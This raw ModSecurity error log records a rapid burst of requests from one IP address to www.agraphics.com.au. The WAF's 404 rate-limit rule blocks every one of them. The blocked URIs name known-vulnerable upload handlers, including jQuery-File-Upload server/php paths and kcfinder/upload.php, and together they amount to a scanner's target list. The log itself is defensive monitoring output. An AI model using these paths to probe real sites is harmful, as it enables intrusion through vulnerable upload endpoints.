[Sun May 24 20:46:45.025648 2026] [:error] [pid 11280:tid 11285] [client 134.199.171.224:58690] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJmAAAAEA"]
[Sun May 24 20:46:45.042542 2026] [:error] [pid 11280:tid 11286] [client 134.199.171.224:58694] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJmQAAAEE"]
[Sun May 24 20:46:45.045577 2026] [:error] [pid 11280:tid 11294] [client 134.199.171.224:58706] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/global/plugins/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJmgAAAEk"]
[Sun May 24 20:46:45.054948 2026] [:error] [pid 11280:tid 11296] [client 134.199.171.224:58716] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJmwAAAEs"]
[Sun May 24 20:46:45.059092 2026] [:error] [pid 11280:tid 11305] [client 134.199.171.224:58730] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/jQuery-File-Upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJnAAAAFQ"]
[Sun May 24 20:46:45.076678 2026] [:error] [pid 11280:tid 11291] [client 134.199.171.224:58732] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJnQAAAEY"]
[Sun May 24 20:46:45.087353 2026] [:error] [pid 11280:tid 11301] [client 134.199.171.224:58740] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/global/plugins/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJngAAAFA"]
[Sun May 24 20:46:45.091641 2026] [:error] [pid 11280:tid 11307] [client 134.199.171.224:58754] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/global/plugins/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJnwAAAFY"]
[Sun May 24 20:46:45.092719 2026] [:error] [pid 11280:tid 11306] [client 134.199.171.224:58758] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/libraries/jsupload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJoAAAAFU"]
[Sun May 24 20:46:45.109895 2026] [:error] [pid 11280:tid 11290] [client 134.199.171.224:58768] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/js/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJoQAAAEU"]
[Sun May 24 20:46:45.119097 2026] [:error] [pid 11280:tid 11304] [client 134.199.171.224:58772] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJogAAAFM"]
[Sun May 24 20:46:45.127582 2026] [:error] [pid 11280:tid 11299] [client 134.199.171.224:58778] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/global/plugins/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJowAAAE4"]
[Sun May 24 20:46:45.131219 2026] [:error] [pid 11368:tid 11392] [client 134.199.171.224:58794] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/global/plugins/jquery-file-upload/server/php/"] [unique_id "ahLzNYfq_sTmmtTKm1UV8AAAARY"]
[Sun May 24 20:46:45.134252 2026] [:error] [pid 11280:tid 11303] [client 134.199.171.224:58804] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/libraries/jsupload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJpAAAAFI"]
[Sun May 24 20:46:45.135089 2026] [:error] [pid 11280:tid 11288] [client 134.199.171.224:58816] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJpQAAAEM"]
[Sun May 24 20:46:45.139395 2026] [:error] [pid 11280:tid 11287] [client 134.199.171.224:58830] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJpgAAAEI"]
[Sun May 24 20:46:45.151201 2026] [:error] [pid 11280:tid 11300] [client 134.199.171.224:58832] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/js/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJpwAAAE8"]
[Sun May 24 20:46:45.158899 2026] [:error] [pid 11280:tid 11309] [client 134.199.171.224:58848] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJqAAAAFg"]
[Sun May 24 20:46:45.159859 2026] [:error] [pid 11280:tid 11298] [client 134.199.171.224:58850] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJqQAAAE0"]
[Sun May 24 20:46:45.171998 2026] [:error] [pid 11280:tid 11295] [client 134.199.171.224:58866] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/global/plugins/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJqgAAAEo"]
[Sun May 24 20:46:45.176122 2026] [:error] [pid 11280:tid 11292] [client 134.199.171.224:58876] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/libraries/jsupload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJqwAAAEc"]
[Sun May 24 20:46:45.177019 2026] [:error] [pid 11280:tid 11285] [client 134.199.171.224:58886] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJrAAAAEA"]
[Sun May 24 20:46:45.179875 2026] [:error] [pid 11280:tid 11286] [client 134.199.171.224:58900] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJrQAAAEE"]
[Sun May 24 20:46:45.192409 2026] [:error] [pid 11280:tid 11294] [client 134.199.171.224:58914] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/js/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJrgAAAEk"]
[Sun May 24 20:46:45.200142 2026] [:error] [pid 11280:tid 11296] [client 134.199.171.224:58930] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJrwAAAEs"]
[Sun May 24 20:46:45.222861 2026] [:error] [pid 11280:tid 11305] [client 134.199.171.224:58946] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJsAAAAFQ"]
[Sun May 24 20:46:45.224013 2026] [:error] [pid 11280:tid 11291] [client 134.199.171.224:58944] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJsQAAAEY"]
[Sun May 24 20:46:45.242276 2026] [:error] [pid 11280:tid 11301] [client 134.199.171.224:58956] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJsgAAAFA"]
[Sun May 24 20:46:45.340187 2026] [:error] [pid 11280:tid 11307] [client 134.199.171.224:58966] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJswAAAFY"]
[Sun May 24 20:46:45.341207 2026] [:error] [pid 11280:tid 11306] [client 134.199.171.224:58962] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJtAAAAFU"]
[Sun May 24 20:46:45.351705 2026] [:error] [pid 11280:tid 11290] [client 134.199.171.224:58968] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugin/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJtQAAAEU"]
[Sun May 24 20:46:45.359268 2026] [:error] [pid 11280:tid 11304] [client 134.199.171.224:58974] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJtwAAAFM"]
[Sun May 24 20:46:45.360897 2026] [:error] [pid 11280:tid 11299] [client 134.199.171.224:58984] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJuAAAAE4"]
[Sun May 24 20:46:45.372528 2026] [:error] [pid 15835:tid 15846] [client 134.199.171.224:58986] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/kcfinder/upload.php"] [unique_id "ahLzNWWbknYlUM9P0qO8XwAAAAk"]
[Sun May 24 20:46:45.383744 2026] [:error] [pid 11280:tid 11288] [client 134.199.171.224:58992] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJuQAAAEM"]
[Sun May 24 20:46:45.384589 2026] [:error] [pid 11368:tid 11376] [client 134.199.171.224:58994] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/jquery-file-upload/server/php/"] [unique_id "ahLzNYfq_sTmmtTKm1UV8QAAAQY"]
[Sun May 24 20:46:45.388616 2026] [:error] [pid 11368:tid 11388] [client 134.199.171.224:59004] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/server/php/"] [unique_id "ahLzNYfq_sTmmtTKm1UV8gAAARI"]
[Sun May 24 20:46:45.393035 2026] [:error] [pid 11280:tid 11287] [client 134.199.171.224:59006] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugin/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJugAAAEI"]
[Sun May 24 20:46:45.401705 2026] [:error] [pid 11368:tid 11370] [client 134.199.171.224:59022] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/server/php/"] [unique_id "ahLzNYfq_sTmmtTKm1UV8wAAAQA"]
[Sun May 24 20:46:45.403117 2026] [:error] [pid 11368:tid 11374] [client 134.199.171.224:59052] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/server/php/"] [unique_id "ahLzNYfq_sTmmtTKm1UV9AAAAQQ"]
[Sun May 24 20:46:45.404228 2026] [:error] [pid 11280:tid 11300] [client 134.199.171.224:59028] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJuwAAAE8"]
[Sun May 24 20:46:45.405104 2026] [:error] [pid 11280:tid 11309] [client 134.199.171.224:59044] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJvAAAAFg"]
[Sun May 24 20:46:45.413463 2026] [:error] [pid 11280:tid 11298] [client 134.199.171.224:59064] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJvQAAAE0"]
[Sun May 24 20:46:45.421840 2026] [:error] [pid 11280:tid 11295] [client 134.199.171.224:59076] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJvgAAAEo"]
[Sun May 24 20:46:45.423057 2026] [:error] [pid 11280:tid 11292] [client 134.199.171.224:59082] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJvwAAAEc"]
[Sun May 24 20:46:45.423931 2026] [:error] [pid 11280:tid 11285] [client 134.199.171.224:59084] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJwAAAAEA"]
[Sun May 24 20:46:45.424744 2026] [:error] [pid 11280:tid 11286] [client 134.199.171.224:59094] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJwQAAAEE"]
[Sun May 24 20:46:45.433518 2026] [:error] [pid 11368:tid 11389] [client 134.199.171.224:59106] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/server/php/"] [unique_id "ahLzNYfq_sTmmtTKm1UV9QAAARM"]
[Sun May 24 20:46:45.434392 2026] [:error] [pid 11280:tid 11294] [client 134.199.171.224:59108] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJwgAAAEk"]
[Sun May 24 20:46:45.435833 2026] [:error] [pid 11280:tid 11296] [client 134.199.171.224:59114] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugin/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJwwAAAEs"]
[Sun May 24 20:46:45.442538 2026] [:error] [pid 11280:tid 11305] [client 134.199.171.224:59122] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJxAAAAFQ"]
[Sun May 24 20:46:45.443966 2026] [:error] [pid 11368:tid 11390] [client 134.199.171.224:59124] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/server/php/"] [unique_id "ahLzNYfq_sTmmtTKm1UV9gAAARQ"]
[Sun May 24 20:46:45.446584 2026] [:error] [pid 11280:tid 11291] [client 134.199.171.224:59140] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahLzNYRn5s7laoSxy1QJxQAAAEY"]
[Sun May 24 20:46:45.447510 2026] [:error] [pid 11368:tid 11378] [client 134.199.171.224:59130] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset/server/php/"] [unique_id "ahLzNYfq_sTmmtTKm1UV9wAAAQg"]
[Sun May 24 20:46:45.454970 2026] [:error] [pid 11368:tid 11394] [client 134.199.171.224:59150] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UV-AAAARg"]
